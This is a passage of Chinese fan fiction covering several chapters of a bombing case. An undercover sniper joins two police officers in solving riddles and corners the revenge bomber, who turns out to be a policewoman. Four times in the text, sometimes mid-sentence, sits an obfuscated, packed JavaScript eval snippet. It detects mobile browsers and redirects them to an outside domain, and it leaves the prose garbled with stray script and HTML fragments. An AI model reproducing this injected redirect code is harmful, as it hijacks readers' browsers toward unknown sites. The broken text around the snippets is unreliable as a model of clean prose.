这是利用了心理误区。绿川见过太多卧底在获得代号前如履薄冰,凶悍得好像这世上没有比他们更凶的恶人,结果却在获得代号后的一年里因极小的疏忽或懈怠,行差踏错,折在了深渊之中。 不对,现在想这些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15271877|165107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也没用。绿川扪心自问:我会不会想的太悲观了呢? 或许自己是被组织派进条子里做卧底,然后又被条子派回组织的双面间谍?现在似乎很流行这种故事。 又或许面前的两个条子其实都是组织的卧底——这个有女友但一脸壮年大叔样的家伙先不说了,那个戴墨镜穿黑衣看着活像□□老大的家伙真的是条子吗? “娜塔莉,”条子们尚不清楚绿川如何在心里编排一通,给全员安了可刑的罪名,他们更加在意的还是案子,“你在电话里说的是谁?” “是那个人。”娜塔莉指道。 “没错,是炸弹,”卷毛男只看一眼便下了判断,“而且是有倾斜检测装置的定时炸弹。应该不是恐怖袭击,那男人是被迫绑上的,犯人可能就在附近监视。我们安静出警是对的,一旦刺激到犯人,对方可能会直接引爆炸弹。” “也就是说,必须先抓到犯人,然后才能拆弹。”大叔男道,“我去通知车站员工疏散人群,你去和受害人沟通,没问题吧,松田?” 卷毛男比出了一个“OK”的手势。 嘴上安排得倒是很利索,但不好说是不是真的靠谱。绿川心里轻哼了一声。 “娜塔莉,你先找个安全的地方等我。” “注意安全,航君。” “我会的。”大叔男笑着露出一口白牙。待娜塔莉走后,他猛地转向绿川,笑容里带上了些恶狠狠的意味,“至于这位先生——出现在这里是为什么呢?” 绿川笑而不语。 遇到答不上来的问题就微笑,遇到不想回答的问题就“Asecretmakesamanman”,这幅装神弄鬼的模样是绿川从贝尔摩德身上学到的最有用的一课。他平时不敢在琴酒面前玩这出,但用来糊弄这面前这个来历不明的条子绰绰有余。 果然,他这幅死猪不怕开水烫的模样落到对方眼里就变成了别有内幕、天意不可告知。大叔男撇嘴,露出一副仿佛自家人打也打不得、动也动不得的无奈之色,叹了口气。 “算了,我去通知车站员工。现场暂时只有我和松田两个,其他人还在待命,你……”他犹豫地问道,“你要一起吗?” “当然。”绿川答得很快——这可是他好不容易才抓到的“熟人”。 “行,那走吧。”大叔男道,“对了,我应该怎么叫你。” “绿川隆一。我现在的名字。” “绿川。”大叔男点头表示收到,“我是伊达航,好久不见。” 尽管在对方眼里,这或许是个交换姓名的象征性环节,但绿川却是因此知道了男人的名字。一切都很好,试探条子总比试探自己的同僚安全,绿川想,除了现在的场面实在像什么荧幕经典重映…… 对,就是那种卧底跟自己过去的关系网装模作样扮不熟的荧幕经典。 在琴酒手下被魔鬼操练十七年,什么都学过但就是没学过如何做卧底的绿川呜呼哀哉,迈着沉重的脚步跟在了伊达航身后。 我完蛋了。他对自己说。 我要辞职。他希望有人能听他说。 19. 人体炸弹事件(二)(200粉加更…… 松田举着手机靠在耳边,像个等待电车的乘客一样走到了站台边,一边等待通话接通,一边散漫地打量着其他乘客—— 没有。没有可疑人士的行踪迹。 故意将炸弹与人体绑定,这类犯人通常有强烈的表现欲望,不会指派他人观察现场。而无论从服装打扮还是行为方式上,松田都没有发现潜在的嫌疑人选项。车站暂时是安全的。 那么有两种可能。一是炸弹犯在受害者身上安装了摄像头或监听器,这样远程也能了解情况。不幸的是,这往往意味着犯人不止安装了一颗炸弹。二是炸弹犯就藏在车站员工当中,通过车站监控或巡逻可以方便而不留马脚地查视现场。 在走到离中年男人足够近的地方后,松田对手机说道: “能说话吗?” 中年男人被紧张的情绪虏获,没有理会他的声音。 “喂,说你呢,肚子里藏着大声响的家伙。” 这一句犹如平地惊雷,将中年男人劈了个正着,慌忙地转起脑袋,想要找出刚才的讲话人。 “小心点,别晃到那东西了。”松田皱眉,“再问一遍,你能说话吗?” 摇头。 “是功能性发声障碍还是有人禁止你说话?” 中年男人还是摇头。他额上的汗越冒越多,看着像是马上就要哭出来了。 那—— 松田刚想开口,忽然有一道沙哑失真的男声从中年男人的外套里响了起来: “他可以说话,警官。” “你是谁!”松田追问。 没有回应了。 有延时。另外,如果监听器是与炸弹绑定藏在外套下的话,初步判断应该没有摄像头。 松田放下手中用作掩饰的手机,对中年男人道: “你身上的是定时炸弹吗?” “是……是,”对方仿佛好不容易才扯开了黏在一起的声道,嗓音干瘪而粗粝,“下午5点整。” 松田看了一眼时间,正巧是下午2:30。 还有两个半小时。 “像你一样被绑了炸弹的还有几个?” “不、不知道……” “我现在给你拆弹,可以吗?”松田将手搭在了随身携带的工具包上。 “不!不行!”中年男人激烈地尖叫起来,将近处的乘客吓了一跳。松田注意到站台上的人群虽然还是数量庞大,但已经渐渐从他与中年男人的身边撤开了——疏散已经开始了。 松田耐心地——他这两年的脾气已经好很多了——问道:“给你绑上这个的人,提到了要满足什么条件才会停止计时吗?” 中年男人的眼神慌乱起来。 有问题,松田心道。他按住对方的肩膀,防止对方因惊恐而触发炸弹。 “现在,我要查看你身上的炸弹,但是不会拆它。”他既是对受害者,也是对犯人说,“你只剩不到三个小时的时间了,隐瞒任何事情都是在消耗你自己的生命。” 松田拉开中年男人的外套,用敞开的外套两侧挡住炸弹的大半部分,低头查看炸弹的构造。 不是什么复杂的款式,甚至可以说是已经被市场淘汰。交给松田的话,用不了一分钟就能顺利拆除,然而唯一的问题是——他不能动手。 “如果不能活下来的话,无论你曾经拥有过什么,都会在一瞬间化为灰烬。”松田劝说着,右手深深地攥进拳头里,“所以,趁现在还没到最坏的时候,你应该快点把知道的事情说出来,那样也许还有转机。” “我的罪证……”中年男人哆嗦着嘴皮,“那个人要我对警察陈述我的罪证,一条不落,一个数字也不能错。” * 绿川感觉自己像个小弟一样跟在伊达航身后,看着他出示警察证件,简洁迅疾地调动现场员工对站台进行疏散,先是以两人为圆心形成的一片空地,再是离开车站的乘客、不再进站的电车。整条线路上的电车目前已暂停运行并发出相关公告,但这座车站为避免打草惊蛇,没有广播提醒。 伊达航将车站员工召集起来,排查过一遍后,也请他们疏散到了车站外。他对绿川说道:“不好。” “有问题。”绿川点头。 尽管没看出什么问题,但这样回答总归没错。 “松田没有发来短信,而车站员工里也没有类似的嫌疑人,说明犯人根本不在现场,或者——不在这一个现场。如果按松田的说法,犯人安装的是定时炸弹的话,爆炸时间应该会设定在车站客流量最大的时候,比如5点或6点。”说到这里时,伊达航打开手机,点进通讯录,“时间不多了,必须马上动员警力寻找其他受害者。” 他拨通了一个号码。 “喂,宫本警官吗?有件案子需要麻烦你们交通科。对,就是刚刚我和松田出警的那件,你们已经听说了啊。”伊达航说道,“现在有数量不明的受害者身上被绑了炸弹,需要在5点……不,4点前找到他们。范围暂时限定在都心六区中人流量较大的地带,受害者特征……腹部鼓起、长时间滞留原地、不便移动、非常关注时间。” “抗拒他人接近。”绿川忍不住补充了一句。 “抗拒他人接近。”伊达航感谢地看了他一眼,重复道,“发现后不要擅自接近,立即通知佐藤警官那边,随时保持联系。” 接着,他挂断电话,再次拨通一个号码。 “喂,佐藤警官……” 他将上一通通话的内容再次传达给了这位姓佐藤的警官。 绿川抱着手臂,倚在墙边。说来奇怪,除了由他亲手“经办”的一些事件外,这还是绿川头一次以清清白白的身份旁观警察办案。小时候的那起案件,他离开太早了,根本不清楚后面发生了什么,等到有能力了解的时候,他却因为抵触与反感,没有静下心来仔细调查,只是收到情报,匆匆赶去,完成了那不知意义为何的复仇。子弹射出去,心还是空的。 尽管绿川不喜欢组织,但那不代表他就信任警察。十七年过去,他已经不记得父母的声音了,可他们一定也像其他父母告诉自己的孩子那样温柔地告诉过他“警察会帮你的”“警察会解决麻烦的”。那么,当他的父母被残害时,警察在哪里?当他被如山一样黑暗吃进影子里时,正义在哪里?当一桩又一桩的悬案在档案室里积灰时,他那个拿过东大法学专业第一的哥哥又在做什么? 如果童话是送给孩子的礼物,为什么他却被剥夺了庆祝节日的权利? 绿川深深地呼吸起来。他意识到自己现在状态不对,过于强烈的情绪导致他一时间出现了心理问题失衡。他强迫自己冷静下来,试图分析并调节自己。没关系,你可以的,绿川自语道,贝尔摩德教过你如何去做这个。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15271878|165107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 不要怨恨高明哥,因为高明哥也很痛苦。你得保护他,绿川隆一,不可以让你仅剩的亲人活得更糟糕了。 不要怨恨警察,因为外守一做得实在无迹可寻,唯一能够提供线索的你又消失不见,你也是在二十二岁时才通过不光彩的手段找到他的,不是吗? 绿川停在这里,忽然理解了胸中涌上来的那股情绪。 是遗憾。遗憾自己的案件不是由今天在场的两位警官负责。 没关系的,绿川隆一,你做得已经够好了。一切都在平静地、安静地向前,你只是世界运转过程中的一枚小齿轮——哦不,按照目前的情况来看,你或许是破坏世界运转的一枚小齿轮。 绿川给自己开了个不合时宜的玩笑,感到轻松多了。 至于他跳了一个月时间、从代号成员被贬和不知道哪来的条子同学等诸多问题……绿川表示太复杂,他暂时拒绝思考。 几番呼吸之间,绿川终于平静下来。 “绿川,我们去松田那边看看。”伊达航也恰好挂断了通话,对车站负责人交代了些其他事情后,招呼绿川往外走。 “来了。”绿川开口,但是,没有发出声音。 他的大脑空白了一下。 好在伊达航专注于案件,一双长腿赶在前面,似乎没有注意到绿川的异样。趁这会儿工夫,绿川像调试收音机的维修师傅一样调试起自己的身体。 死嘴,我今天就要让你知道谁才是你的主人。 绿川挣扎地拧着嗓子,但声音仿佛被吸进了太空里的黑洞,怎么也逃不出来。 好吧,好吧,你是我的主人,行了吧? 绿川放弃了。旧病复发而已,琴酒看了都要说一句“正常”。 另一边,两名警官已经相会,并在远离炸弹犯监听范围的地方沟通了双方情报。 “现在的重点还是找出犯人的位置。”伊达航总结道。 松田用拇指努了努中年男人,“所以我正在问他还记不记得是谁把炸弹绑到自己身上的。” “是……是个男人!咿!” 中年男人刚一开口,他肚子上的炸弹便又响了起来,惊得他嘴巴抿成了“一”字形。 那道沙哑失真的男声继续说道:“各位警官想来直接找我的话,我不介意哦。但直说出来的话就太无聊了,这样吧,我们来猜个字谜,谜底就是我目前所在的位置。你们可以浪费时间来找我……或者,让这个猪狗不如的男人赎罪!” 最后一句几乎是以吸血伐髓的力道从牙缝里挤出来的。 松田没有被扰乱思绪,冷静地问道:“说吧,字谜呢?” 对面发出一阵讥讽的大笑,“那就给你们吧,字谜是——‘日光交汇地’。” “只有这一句吗?” “谁知道呢?那要看警官们还能不能找到下一句了。” 说罢,对面再一次切断了对话。 伊达航晃晃手机。“已经告诉他们字谜的事了。” “我也去通知排爆组及时就位,然后……”松田盲打着手机键盘,用节省下来的视线恶狠狠地盯着绿川,“可以顺手解决一下这、位、先、生、的、事。” 他把重音断得太错落有致,因此绿川很难分清他说得到底是解决事还是解决人。 绿川开始后悔自己或许太轻视这两个条子了。 20. 人体炸弹事件(三) 等排爆组与搜查一课的刑警在车站就位时,现场正有两人接受警方询问。 一个是身上被绑了炸弹的中年男人,他名叫丁野达夫,年龄58岁;另一个便是话在心头口难开的绿川。 询问丁野达夫的是伊达航,询问绿川的是松田。虽说如此,但丁野达夫痛哭流涕大喊大叫的声音太过抓耳,导致后一对没聊上两句就进入了旁听状态。 “今天中午12:30左右,我在电车上。因为车里很挤,所以有人站到我身后的时候,我没有注意,直到他拿一把枪抵住了我的腰,让我跟他下车。”丁野达夫道。 “你对枪熟悉吗?”伊达航问。 “不熟悉……但、但应该是真枪吧?他可是都有真的炸弹了啊!” 这可不一定。绿川想。枪的构造比部分炸弹更加精密,人可以拿两种物质调出炸弹,却组不出一把枪,另外炸弹的交易渠道也比枪要宽松。 伊达航若有所思地点点头,继续问:“你用的是‘他’……是看到了对方的脸吗?” 丁野达夫哭丧着脸道:“我不敢说,警官……万一惹恼了他……” “犯人既然允许我们去查了,就不会在意你这点小事。”松田嗤笑,“要是不想被炸死的话,不如尽早谈谈你以前做过什么吧,竟然会被抓来……” 他没有说出最后的那个词,但在场三人心知肚明—— 犯人似乎将自己的行动当成了一场复仇。 丁野达夫的眼神飘忽起来,假装没能听懂松田的暗示。 “继续说吧,关于‘他’的事。”见对方油盐不进,伊达航把话题拉了回来。他已经拜托同僚去调丁野达夫的档案了,隐藏在这桩案件背后的谜团他一个也不会放过。 “我没敢回头看他,但他的声音一听就知道是个男人。” “不是变声器吗?” “绝对是本人的声音!”丁野达夫笃定道,“他威胁我从车站的储物柜里取出了炸弹,自己绑在身上,警告我不准报警,也不准让他人起疑,一旦有外力介入,他就会立刻引爆炸弹,除非……我能把自己的‘罪行’大声公布给所有人。” 两名警员前来汇报他们对于站内监控的调查结果: 首先,监控室的门只是虚掩着,并未上锁,因为门锁已经被破坏了。 其次,12:30—12:50之间的监控画面被全部删除。12:29,丁野达夫还没有出现在车站内;12:51,他就已经战战兢兢地竖在站台上了。 伊达航喊来车站员工询问监控问题,竟然没有任何人发现任何可疑人物。 时间已渐渐逼近三点整。三人远离丁野达夫,退到站台的角落里开小会。 “你怎么看,松田?”伊达航问。 “丁野达夫的档案还没提出来吗?” “在走程序。但是,”伊达航咬了咬嘴边的牙签,“无论丁野先生和其他人做过什么,犯人都不应该采取这种方式复仇。先不提私力救济的限度,单是在车站安置炸弹这一点就已经严重威胁了社会安全。” “警方到场后立刻更改了原定计划,要么是犯人‘复仇’的证据足够充分,本就希望警方介入,要么……是他准备挑衅警方——他或者她。”松田道。 伊达航点头。“现在只能期待交通科那边尽快找到其他受害人了。” “景——不对。”松田忽然调转了矛头,“绿川隆一,是吧?不知道绿川先生有什么想法呢?” 经过几个小时的相处,绿川也看得出这卷毛警官是很少用敬语的类型,现在突然称他一句“先生”,竟然把他喊得心底发毛。 让你出来抓熟人,这下好了,一抓抓俩,还全是条子。瞧这事闹的,哈哈,竟然有点分不清是谁抓谁了。 绿川暗暗扶额。 而且,如果他没听错的话,这两人似乎知道他的本名。 兜来转去,老鼠竟是我自己。 “一声不吭玩失踪就算了,我和班长本来都接受你们去……”松田又巧妙地含混掉了某些用词,“结果现在又大摇大摆地出现在这儿,还给我装哑巴。” 倒也不是装的。 绿川的眉间蹙上去,眉尾撇下来,无奈得简直无辜。他指指自己的喉咙,然后将双手的食指交叉,比出一个“X”号。 他倒是可以用手语,但不知道对面能不能懂。交流嘛,理解至上。 “你……”松田微微摘下墨镜,一双深青色的眸子里染上了严肃之色,“说不出话了吗?说起来,最开始就没有听到过你的声音。” “绿川和我交谈过,最开始是正常的,直到……”伊达航回忆着,视线也落到了绿川身上,“安排人群疏散的时候,好像就没听到你的声音了。” 绿川点头,表示他说得没错。 “什么原因?” 绿川沉默,他总不能回答自己是对条子应激了吧。 “喂,班长,”松田道,“以前好像有个人和我们提到,他小时候患过某种心因性的失语症啊。” “不过那个人也提到,他已经痊愈了吧。”伊达航与他确认了下眼神。 什么有个人那个人,说的就是我——原本这具身体里的我吧。绿川目死。竟然连失语症的事情也知道,看来他得重新评估自己与这两人的关系了。 “那……” 松田一手叉腰,一手抓抓头发,似乎对于要不要问出下面的问题显得有些苦恼。但有些事往往越犹豫越会变得难办,这就是那些所谓的“该踩油门的时刻”。 他的那两个同期,一个刚正得像块铁板,几乎到了让人怀疑他日后会在婚姻届上注明恋人是国家的程度,一个能够不被阴霾蒙蔽,天生就是为了拯救他人的警察料子,相比自己和自家幼驯染最初的择业理由简直不在同一个世界,结果一毕业俩人就没了踪影,只撂下一句“自愿辞职”,傻子都能猜到他们是去做了什么危险工作。 两人从实力上讲应该不会随便出事,可身体上的残缺是一回事,心理上的动荡又是另一回事了。 最后,卷毛的警官直接问道:“绿川,你是不是遇见什么,导致精神上出现了负担?” 绿川伸出手。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15287769|165107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“手——机——”他做出这样的口型。 伊达航疑惑地将手机递给了他。 绿川找到备忘录,敲下一行字后,笑着还给伊达航。 “‘不严重,过一会儿就好。’”伊达航念出备忘录上的内容,“你确定吗?” 绿川点头。 “要一起查完这起案件吗?”伊达航提议。 再次点头。绿川确实对它的对幕后真凶起了兴趣。 “那行,保护好自己。”伊达航像大哥一样伸手将绿川头顶的兜帽拽得更低了些。 松田也走过来,攥拳轻敲了一下绿川的肩窝。“就不问你那家伙的去向了。总之,稍微放松下吧——在我们这边。” 绿川低着头,揉了揉自己的半边肩膀。这具身体似乎还残留着对过去熟人的亲近感,否则绿川解释不了那股从他心底升起的微妙情绪究竟来自何处。 当分针再一次指向“6”时,两通电话分别打进了伊达和松田的手机里。 “找到了!”宫本警官的声音从手机那头传了出来,隐约可以听见背景里另一位雷厉风行的女警在进行现场调度,“在银座的双向十字路口以及米花中心医院各找到一名受害人,分别是乙口太郎,男,49岁;小丙叶子,女,54岁。两人均表示不清楚犯人身份,对犯人指出的‘罪证’一词不作任何解释。暂时没有发现其他受害人。监控也并未拍到嫌疑犯。” “辛苦了。”伊达航道,“犯人有给出新的字谜吗?” “有的。美和子——笔记借一下。”手机对面传来了翻动纸页的声音,“字谜一共两句,乙口太郎对应的是‘五瓣花下的浪人’,小丙叶子对应的是‘挥刀斩罪恶’。” 伊达航将目前得到的三句字谜连起来默念一遍,忽然间明白了什么,对宫本道:“这应该就是全部的受害人了,麻烦你们——” “伊达警官,”先前处在背景里的那位女警此时接进了通话里,“三人的档案已经查明了,共同特征是老家都在山梨县西八代郡,十八年前因赌博背上过巨额债务,却在一年之后迅速还清,这或许可以成为案件的突破口。” “明白。”伊达航看了眼时间,“我这边立刻行动,尽快在四点前将犯人捉拿到案。” “保持联络。” 见这边的电话挂断,松田道:“排爆组也已经在另外两边就位,现在唯一的问题就是解开字谜。” “日光交汇地,五瓣花下的浪人,挥刀斩罪恶。”伊达航念到。当他将这三行字谜吟诵出来的瞬间,绿川也明白了为什么他说不会再有新的受害人。 三行字谜恰好组成了一首完整俳句。 “犯人在小看我们吗?”松田不屑地哼了一声,“‘日光交汇地’,也就是放射形路网的起始点,放在整个东京来看的话,没有比千代田区更合适的位置。五瓣花的品种虽然很多,但在千代田区,又能与浪人产生联系的话,毫无疑问就是那个标志。班长,你应该也知道谜底了吧?” “当然。”伊达航眉头紧锁,几乎迫不及待地冲出车站,喊道,“回警视厅!” 21. 人体炸弹事件(四)(300粉加更…… 下午3:40,千代田区警视厅本部。伊达航与松田下了车,绿川看着本部大楼门前金光闪闪的五瓣樱标志,心里没有任何世俗的欲望,拉低兜帽窝在条子的车里,老实得足以让每一个条子感叹“如果所有犯人都像你这样稳重就好了”。 当然,现在的他还不是条子的敌人,而是条子的朋友。因此绿川将车窗摇下半扇,聆听朋友们的谈话: “还需要一个更确切的位置,”伊达航道,“犯人总不会在暗示我们他会自首吧?又或者……” “不对,还差了一步。”松田说,“我原本以为最后那句是犯人为自己的所作所为作的辩护,但其实不是,那也是组成整个谜题的一部分。从千代田区到霞关,范围逐渐缩小,最后一句一定指向了某个具体的地点。”松田凭着优秀的身高四处张望起来,“班长,你能想到附近有什么地方与刀有关吗?” 刀…… 一张东京都地图在绿川的脑内铺开,并聚焦在千代田区放大、放大,即使精确到了每一条道路也仍然清晰。 啊,找到了,是这里吗? 绿川有些兴奋地摇下整扇车窗,伸手扯了扯伊达航的袖子。 “想到什么了吗?”伊达航一边问着,一边又将手机递过去。 绿川打字的速度比刚才还快。几乎是一眨眼间,他就将屏幕上的内容展示给了另外两人。 “霞关3丁目2番37号。”松田凑上前来念道,他似乎对这串门牌号有印象,仔细回想了片刻,“啊,是那里啊,一家开了有几年的寿司店,店门上好像的确挂着一把大武士刀做招牌。不愧是绿川老爷。” 绿川愣了一下。朋友之间会互相起外号这种事,他倒是听明美提过,尽管如此,“老爷”这个叫法也过于奇怪了吧!难道说这个世界的他其实在朋友中间是很受尊敬的那类角色? 像琴酒那样……不对,应该是像高明哥那样。 绿川叹气。到底谁是何居心把他送进了这个世界啊,他完全不想接手这些不该是他的东西。如果能回去的话……对他而言会更好吧。 另一边,两名警官重新坐回车里,前往寿司店。伊达航把着方向盘,随口问道:“你去过那家吗,松田?” “以前联谊的时候去过。”松田敲着手机,也随口回道。 绿川从后视镜里看见伊达航小心地瞥了一眼松田,话题便忽然终止在这儿了。 发完消息,收起手机,松田像是才琢磨过来刚才聊了什么似的,转头对驾驶座上的同期道:“我没事,班长,你不用这样。” 伊达航打方向盘,进入右转道。“也是,”他说,“你可是松田啊。” 松田发出一点带着笑意的气音,但绿川看不见他的具体表情。 三人很快抵达了寿司店。所谓的武士刀,是一把斜置在招牌旁的大型装饰物,或许是想给顾客形成类似于蟹乐道那样的记忆点。 推开挂有“营业中”门牌的推拉门,店内空无一人。 伊达航从腰间抽出枪来,放在身侧戒备。他们接到警情时,松田正巧在搜查一课打转,便和伊达航一起出了警。他平时不怎么用得上配枪,事出突然,他自然也没有带,此刻跟在伊达航身后,小心地检视屋内。 绿川前脚刚踏进去,后脚就收了回来。 那家店里有着让人不舒服的注视感,大概有着不下三个监视器。绿川本想提醒另外两人,但一张死嘴还是不由他愿,发不出任何声音。在他卡壳的几秒钟里,伊达航与松田已经彻底走进了店内。 应该没关系。绿川心道。尽管这算是他第一次参与破案,经验缺缺,但从伊达航与松田的对话里,他也能看出犯人的行动是尚存理智的,目的是揭露来自过去的秘密,而不是纯粹的报复社会。 既然如此,犯人一定会先与那两名警官交谈。出于对警官们实力的综合考量,绿川认为他们应该不会在这种优势情形下谈崩。 站在门外的话,也能观察到店内发生了什么。决定好站位的绿川侧身站在推拉门后,不时将视线投向店内。 一道人影忽然从他的余光里闪过。一瞬间,他转向对方,跟了上去。 转到店铺所在的大楼背面,登上两层室外台阶,进门后便是一条走廊,其中一扇门通向寿司店的二楼。出现在绿川余光里的那道身影正是消失在这扇门后。 从体型来看,明显是个女人。 绿川轻轻推开了一条门缝。狙击手记人的本领不差——否则哪天狙错了目标或在开枪前犹豫半秒,都有沦为业界笑柄的可能,看着屋里那人,绿川百分之百地肯定他们一个多小时前见过她。 这样一来,车站监控室里消失的录像就有了解释。至于其他地点,或许是在室外的缘故,监控覆盖度不高,如果是熟知监控位置的家伙,轻易就能避开它们。 屋里,穿一件扣紧了纽扣的长风衣的女人从包里拿出一台电脑,敲下几个键后,屏幕上出现了四幅画面,分别是从四个角度拍摄的寿司店一楼。接着,女人又拿出一个瓶盖大小的古怪设备,别在靠近喉咙的衣领位置。 她打开电脑的收音,对视频里即将走上二楼楼梯的伊达航说道: “停在那里吧,警官。” 绿川吓了一跳:从那女人嘴里冒出来的完完全全是男性化的嗓音。 市面上常见的那类变声器基本是不可能在线下使用的,它们的原理是将人发出的声音通过实时处理,转变成另一种声音。但在这里,绿川没有听见女人的声音——那个设备几乎是将女人的声音吃掉了,再吐出了属于男人的声音。 这样高科技的造物,绿川只在组织里见过。 电脑里传来伊达航的喊声:"我们解开了你的谜题,但你好像没有遵守承诺啊。你在这里吗?出来聊聊如何?" “我又不傻,警官。把你们叫到这里而没有立刻引爆炸弹已经是我最大的诚意了。”女人道。 松田在一楼转完一圈后,在一个靠墙的木柜前停下。“一楼现在有三个炸弹,而你在二楼,对吗?”他面向木柜说道,“从炸弹安装的位置来看,一旦你引爆它们,整座大楼都会坍塌,你自己也难逃一死。” “我是抱着生死的决心与你们对弈的。”女人倾起上身,凑近了电脑,“我可以明确地告诉你们,六个炸弹是两两相连的,这里的爆炸,外面的也会爆炸。你们大可以上楼找我,但你们踏上楼梯的瞬间,我会立刻引爆炸弹。或者你们可以试着拆弹,但不巧,我把另外三个炸弹的引爆器连接在这三个的中止器上了——” “如果拆除了这里的炸弹,外面的也会爆炸。”松田接道。 “不愧是爆处组的王牌。”女人轻快地合掌。 “你认识我?” “您似乎对自己的知名度没什么认知嘛。” “你费尽心思,把我们逼近了两难的境地,但越是这样,越暴露了你对警方的行动有所渴求。”松田的用词咄咄逼人,语气却不慌不忙,几乎算得上随性,“说吧,你希望我们帮你什么?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15292973|165107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “别说得那么轻易!”女人恼怒地扯开嗓子。声音似乎传到了楼下,绿川看见屏幕上的伊达航指了指天花板。 “不是你们帮我,而是我帮你们提高破案率。”平静下来后,女人嘲讽地笑了笑,“一楼的三个炸弹上分别贴着三条有关过去一桩案件的提示,警官们,你们需要向我解答案件的真相,并且只有一次机会。现在是下午4:20,还剩40分钟,做不到或者答错的话——就一起死吧。” 说罢,女人停下了电脑的收音。 视频里,伊达航与松田的对话还在继续: “你已经找到炸弹的位置了吗,松田?” “六个炸弹的构造相同,都配有监听器与扬声器,他一讲话就暴露了它们的位置。啊,班长,有个炸弹大概在楼梯后的杂物堆里埋着,麻烦你去看看。” “好,我这边的炸弹上贴着一个日元符号。” “我这边一个贴着数字18,一个用胶带粘了一枚数值5000的塑料筹码。” “18年前、赌博、钱……我们需要更多情报,得打给佐藤。” 后面的内容,绿川没再听了。他悄无声息地挤进门缝,将枪口抵在了女人的后脑上,然后将操作用的电脑与女人口袋里的手机拨到一边,防止对方引爆炸弹。 手枪上膛,发出轻微的咔哒声。 “别动。” 啊,能说出话了。绿川心道,所以最治愈我的其实是爆炸犯? “你是谁?”女人问。 迅速康复的病情让绿川心情好了一些,自娱自乐地答道:“警察。” 女人沉默。“警察只会让人举起手。” “那好吧,举起手。” 女人继续沉默,但在绿川抵了抵枪口后,她还是照做了。 “果然还是条子最懂条子的作案……不对,办案方式。”绿川感叹,“你说对吧,警官?” “你到底是谁?”她问。 “我想,是你第一个进入了监控室,在发现监控画面里出现了自己后,就趁同行的警官不注意时删掉了它们。因为担心嫌疑转到自己身上,你又在离开监控室后弄坏门锁,并告诉你的搭档门锁从最开始就是坏的。” 绿川轻柔的声音仿佛在给孩子们讲什么睡前故事。讲完后,他免责声明道:“这是我第一次尝试推理,所有结果都建立在和你搭档的条子是个白痴的基础上,如果有错的话……就错了吧。” 反正他不是很在意。 “他确实不太聪明……警察里多的是他这种货色。” 女人叹了口气,但没有反驳绿川的推理。她的确是先前对伊达航与松田陈述监控调查结果的那名警员。 见绿川不会回答“你是谁”的问题,女人便换了个方向。“你想做什么?” “我想咨询一下……”绿川斟酌道,“你现在的想法。” 要问他想做什么,绿川自己也不确定。只是在那一瞬间,一股冲动的情绪像蛮牛一样顶在他的心里,催促着他走进门来,寻找一个答案。 女人似乎没有理解,发出疑惑的声音。 绿川整理了一遍思路,重新说道:“楼下那两个条子已经猜到你在复仇了,但既然如此,你为什么又做了警察?为什么不直接杀掉他们?你感到快乐吗?还是兴奋?过去到底发生了什么——” 他有太多的问题没能问完,女人却灵光乍现般打断了他: “你是之前站在伊达警官身边的那个兜帽男吧?” 22. 人体炸弹事件(五) “原来你注意到了,那怎么会没发现少了个人呢?”绿川道。 “因为你看着和他们不熟,而且不像个好人。”女人直言。 看人真准。 “好了,警官,现在不是你在问我,而是我在问你。”绿川笑着拉回话题,轻柔地和女人打商量,“我很累了,我需要放下枪,并且找一把椅子坐下。希望你能保持现在的状态,可以吗?你大概快不过我的子弹。” “……我知道了。” 这就算是商量好了。绿川将女人身旁的一把椅子拖过来,坐到了女人身后。 “我的手也很累了,可以放下吗?”女人转着举起的双手问道,手心手背像闪烁的星子一样交替出现在绿川眼前。 绿川稍作考虑,宽容地许可道:“背到椅背后吧,这样我才看得清。” 作为琴酒的御用狙击手,绿川几乎不怎么出近距离的现场任务,有关威吓与拷问的知识都是他从同事那边断断续续学来的。 应该没有出错。绿川暗道。 “我的问题的确有点多了,”他坐在椅子上,翘起腿,握枪的手随意地搭在膝盖上,“让我们从头开始,一个一个地答吧,不过还请尽快——我不希望以这种样子出现在他们面前。” “好。”女人似乎适应了绿川不听人话的节奏,不再试图打断他了。 